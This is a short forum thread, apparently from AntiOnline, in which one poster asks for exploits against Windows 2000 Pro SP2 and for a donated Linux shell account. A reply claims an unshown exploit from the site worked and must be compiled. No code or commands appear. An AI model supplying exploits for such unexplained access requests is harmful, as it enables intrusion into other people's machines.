WIN2K Vulnerabilities

Hey I need to know the vulnerabilities for win2k PRO with sp2 patch.. I need to be able to access it via a windows box.. using exploits or something... Lemmi know.. Also Anyone willing to donate a Linux shell account to me? Promise i wont abuse it.. thanx

Well this is pretty long.. I got it from right here at Anti-Online :D
This is supposed to work..... I had a friend with Linux try it out on my Win2k Pro... And it seemed to work... The problem is you gotta compile it .... Have fun
